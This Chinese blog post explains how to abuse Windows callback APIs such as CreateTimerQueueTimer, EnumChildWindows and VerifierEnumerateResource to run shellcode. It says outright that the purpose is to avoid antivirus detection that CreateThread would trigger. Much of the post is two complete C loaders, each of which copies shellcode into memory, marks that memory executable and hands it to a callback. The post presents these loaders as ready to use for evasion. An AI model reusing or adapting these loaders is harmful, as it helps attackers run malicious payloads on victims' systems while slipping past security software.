回调函数执行Shellcode

文摘   2023-12-26 20:26   广东  

回调函数就是一个被作为参数传递的函数。在C语言中,回调函数只能使用函数指针实现,

说的简单点就是你去购物店里买东西,恰巧卖完了,店员告诉你货来了我通知你,

在Windows系统中回调函数应用于各种场景,比如事件处理,窗口管理,多线程等等。

微软对回调函数的定义如下:

回调函数是托管应用程序中的代码,可帮助非托管 DLL 函数完成一项任务。对回调函数的调用间接从托管应用程序中进行传递、经过 DLL 函数,再回到托管实现。一些通过平台调用的 DLL 函数需要托管代码中的回调函数才能正常运行。

若要从托管代码中调用大部分 DLL 函数,则可以创建函数的托管定义,然后再调用它。此过程相当简单。

使用需要回调函数的 DLL 函数还有一些其他步骤。首先,必须通过查看函数的文档来确定该函数是否需要回调。然后,需要在托管应用程序中创建回调函数。最后,调用 DLL 函数,将指针作为一个参数传递给回调函数。

下图汇总了回调函数和实现步骤:

滥用回调函数

Windows的回调函数是使用指针去执行的,所以我们如果要运行shellcode,那么必须传递shellcode的地址而不是有效的回调指针,并且回调函数的好处在于可以取代CreateThread等创建线程去执行的函数,这些函数在对抗某杀软的情况下不是那么OPSEC的,并且无需传递正确的参数来正确的使用这些回调函数,因为返回值以及功能并不重要。

回调函数示例

CreateTimerQueueTimer

CreateTimerQueueTimer函数是一个创建计时器的函数,如下参数。

BOOL CreateTimerQueueTimer(  [out]          PHANDLE             phNewTimer,  [in, optional] HANDLE              TimerQueue,  [in]           WAITORTIMERCALLBACK Callback,  [in, optional] PVOID               Parameter,  [in]           DWORD               DueTime,  [in]           DWORD               Period,  [in]           ULONG               Flags);
phNewTimer 指向缓冲区的指针,该缓冲区在返回时接收计时器队列计时器的句柄。TimerQueue 计时器队列的句柄。此句柄由 CreateTimerQueue 函数返回。Callback 指向在计时器过期时要执行的应用程序定义的 WAITORTIMERCALLBACK 类型的函数的指针.Parameter 参数DueTime 相对于第一次向计时器发出信号之前必须经过的当前时间的时间量Period 计时器的周期(以毫秒为单位)。如果此参数为零,则会向计时器发出一次信号。如果此参数大于零,则计时器是定期的。定期计时器会在每次经过该时间段时自动重新激活,直到计时器被取消。Flags 此参数可以是 WinNT.h 中的以下一个或多个值。

这里我们只需要关注第三个参数就行了,第三个参数指向我们shellcode即可。

除了如上的三个还有如下:

EnumChildWindows
BOOL EnumChildWindows(  [in, optional] HWND        hWndParent,  [in]           WNDENUMPROC lpEnumFunc,  [in]           LPARAM      lParam);

这个函数的第二个参数是指向应用程序定义的回调函数的指针,所以只需要关注他即可。

EnumUILanguagesW

这个函数只需要关注它的第一个参数即可,第一个参数还是和上面一样指向应用程序定义的回调函数的指针。

BOOL EnumUILanguagesW(  [in] UILANGUAGE_ENUMPROCW lpUILanguageEnumProc,  [in] DWORD                dwFlags,  [in] LONG_PTR             lParam);
VeifierEnumerateResource

这个函数关注第四个参数即可。

ULONG VerifierEnumerateResource(  HANDLE                           Process,  ULONG                            Flags,  ULONG                            ResourceType,  AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback,  PVOID                            EnumerationContext);

如下我们只需要将创建线程那一步给他更换成回调函数即可:

#include <Windows.h>#include <stdio.h>BOOL APCThreadTest(PBYTE shellcode, SIZE_T shellcodeSize) {  PVOID Address = NULL;  DWORD dwold = NULL;  HANDLE timer = NULL;  //首先申请一块内存 大小就是传递进来的shellcodesize  Address = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);  if (Address == NULL) {    printf("内存申请失败!!!!");    return FALSE;  }  //copy shellcode到内存中  memcpy(Address, shellcode, shellcodeSize);
//修改内存权限 BOOL vp = VirtualProtect(Address, shellcodeSize, PAGE_EXECUTE_READWRITE, &dwold); if (!vp) { printf("修改失败"); return FALSE; } if (!CreateTimerQueueTimer(&timer, NULL, (WAITORTIMERCALLBACK)Address, NULL, NULL, NULL, NULL)) { printf("[!] CreateTimerQueueTimer Failed With Error : %d \n", GetLastError()); return -1; }}unsigned char shellcode[277214] = {};int main() { APCThreadTest(shellcode,sizeof(shellcode)); getchar();}

那么也就是说我们只需要替换一下回调函数即可。

EnumChildWindows执行shellcode

EnumChildWindows通过将句柄传递到每个子窗口,再将传递给应用程序定义的回调函数

枚举属于指定父窗口的子窗口。EnumChildWindows一直持续到最后一个子窗口被枚举或回调函数返回 FALSE。

EnumChildWindows(NULL,(WNDENUMPROC)Address,NULL)

VerifierEnumerateResource执行shellcode

VerifierEnumerateResource这个函数是枚举操作系统资源以供调试和支持工具使用。

VerifierEnumerateResource是从verifider.dll中导出的,所以我们必须使用LoaderLibrary和GetProcAddress动态加载才可以拿到函数的地址。

这里需要注意的是这个函数的第三个参数必须是于 AvrfResourceHeapAllocation,要不然我们的shellcode是不会执行的。

如下代码:

#include <Windows.h>#include <stdio.h>#include <avrfsdk.h>
typedef ULONG(WINAPI* fnVerifierEnumerateResource)( HANDLE Process, ULONG Flags, ULONG ResourceType, AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback, PVOID EnumerationContext);BOOL APCThreadTest(PBYTE shellcode, SIZE_T shellcodeSize) { PVOID Address = NULL; DWORD dwold = NULL; HANDLE timer = NULL; //首先申请一块内存 大小就是传递进来的shellcodesize Address = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (Address == NULL) { printf("内存申请失败!!!!"); return FALSE; } //copy shellcode到内存中 memcpy(Address, shellcode, shellcodeSize);
//修改内存权限 BOOL vp = VirtualProtect(Address, shellcodeSize, PAGE_EXECUTE_READWRITE, &dwold); if (!vp) { printf("修改失败"); return FALSE; } fnVerifierEnumerateResource pVerifierEnumerateResource = NULL; HMODULE hmodule = LoadLibraryA("verifier.dll"); if (hmodule == NULL) { printf("获取失败"); return FALSE; } pVerifierEnumerateResource = GetProcAddress(hmodule,"VerifierEnumerateResource"); pVerifierEnumerateResource(GetCurrentProcess(),NULL,AvrfResourceHeapAllocation,(AVRF_RESOURCE_ENUMERATE_CALLBACK)Address,NULL);}unsigned char shellcode[277214] = {};int main() { APCThreadTest(shellcode,sizeof(shellcode)); getchar();}


moonsec
暗月博客
 最新文章